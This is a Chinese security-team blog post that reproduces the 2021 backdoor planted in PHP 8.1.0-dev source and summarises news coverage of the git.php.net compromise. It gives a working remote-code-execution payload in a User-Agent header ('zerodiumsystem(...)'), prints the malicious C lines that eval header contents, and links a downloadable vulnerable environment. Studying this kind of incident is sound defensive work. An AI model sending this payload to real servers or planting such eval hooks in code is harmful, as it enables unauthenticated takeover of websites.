0x00前言:
影响范围 : PHP 8.1.0-dev
漏洞类型 : 远程代码执行
利用条件 : 1、用户认证:不需要用户认证
2、触发方式:远程
造成后果 : 允许未经身份验证的攻击者执行任意代码。
0x01复现过程:
在http头部构造payload即可:
User-Agent:zerodiumsystem(“你需要执行的命令”);
Jaky提供复现成功的截屏:
0x02事情经过:原文来自arstechnica.com
开源项目的成员说,未知的攻击者入侵了用于分发PHP编程语言的服务器,并给源代码增加了后门,这会使网站容易受到攻击。
周末在PHP Git服务器上进行了两次更新,增加了一行内容,如果该行由PHP驱动的网站运行,则将允许未经授权的访问者执行他们选择的代码。恶意提交在这里和这里为代码提供了代码注入功能,以便在HTTP标头中带有单词“ zerodium”的访问者。
PHP.net被黑,代码后门
提交是使用两个著名的PHP开发人员Rasmus Lerdorf和Nikita Popov的帐户名对php-src存储库进行的。Popov在周日晚上发布的公告中写道:“我们还不知道这是怎么发生的,但是一切都指向git.php.net服务器的危害(而不是单个git帐户的危害)。”
妥协之后,波波夫说,PHP维护者得出的结论是,他们独立的Git基础架构是不必要的安全风险。结果,他们将停止git.php.net服务器,并使GitHub成为PHP存储库的官方源。展望未来,所有PHP源代码更改都将直接在GitHub而不是git.php.net上进行。
包括Markus Staab,Jake Birchallf和MichaelVoříšek在内的开发人员在检查周六的提交时,不迟于周日晚上将恶意更改引起公众关注。该更新旨在修复拼写错误,该更新是使用一个使用Lerdorf的名字的帐户进行的。在第一次发现之后不久,Voříšek发现了第二次恶意提交,该恶意提交是以Popov的帐户名进行的。它声称是还原以前的错字修复程序。
两次提交都添加了相同的代码行:
onvert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
Zerodium是从研究人员那里购买漏洞利用程序并将其出售给政府机构以用于调查或其他目的的经纪人。为什么引用Zerodium的提交尚不清楚。该公司的CEO,Chaouki Bekrar, 说在Twitter表示,Zerodium并没有参与。
他写道:“为那些将'Zerodium'放入今天的PHP git的提交而欢呼的巨魔欢呼,”他写道。“显然,我们与此无关。可能,发现此漏洞/漏洞的研究人员试图将其出售给许多实体,但没人愿意购买此废话,更多人觉得是在娱乐。
本地复现环境下载:
链接:https://pan.baidu.com/s/1YV6uybcOLTUoJtPl_w6Ppw
提取码:7h8q
编译安装后,配合nginx即可
FOFA工程师:
扫码关注 简历请投递[email protected] 开普勒安全团队欢迎你
原文始发于微信公众号(开普勒安全团队):供应链攻击PHP源代码后门复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论